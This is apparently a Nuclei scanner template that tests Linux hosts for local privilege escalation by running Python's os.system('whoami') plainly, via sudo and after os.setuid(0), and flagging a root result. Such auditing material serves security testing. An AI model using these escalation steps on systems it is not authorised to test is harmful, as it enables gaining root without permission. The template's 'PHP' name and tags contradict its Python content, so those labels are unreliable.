privesc-python: PHP - Privilege Escalation

2025-08-01 privesc python PoC Public

Description

Python is a high-level, general-purpose programming language known for its readability and simplicity. It is widely used for web development, scientific computing, artificial intelligence, and system automation. Python's versatility, extensive standard library, and large community make it a popular choice for a wide range of applications.

PoC

id: privesc-python

info:
  name: PHP - Privilege Escalation
  author: daffainfo
  severity: high
  description: |
    Python is a high-level, general-purpose programming language known for its readability and simplicity. It is widely used for web development, scientific computing, artificial intelligence, and system automation. Python's versatility, extensive standard library, and large community make it a popular choice for a wide range of applications.
  reference:
    - https://gtfobins.github.io/gtfobins/python/
  metadata:
    verified: true
    max-request: 4
  tags: code,linux,php,privesc,local

self-contained: true
code:
  - engine:
      - sh
      - bash
    source: |
      whoami

  - engine:
      - sh
      - bash
    source: |
      python -c 'import os; os.system("whoami")'

  - engine:
      - sh
      - bash
    source: |
      sudo python -c 'import os; os.system("whoami")'

  - engine:
      - sh
      - bash
    source: |
      python -c 'import os; os.setuid(0); os.system("whoami")'

    matchers-condition: and
    matchers:
      - type: word
        part: code_1_response
        words:
          - "root"
        negative: true

      - type: dsl
        dsl:
          - 'contains(code_2_response, "root")'
          - 'contains(code_3_response, "root")'
          - 'contains(code_4_response, "root")'
        condition: or
# digest: 4b0a004830460221009d573c184e24737640e3535778e28ed55e29bed051507f2358779b8e8c5d912c022100f2fd6f437e9833ff598a60bd5ce205d6da5a4776c4189c74dddd982b7fc15249:922c64590222798bb761d5b6d8e72950

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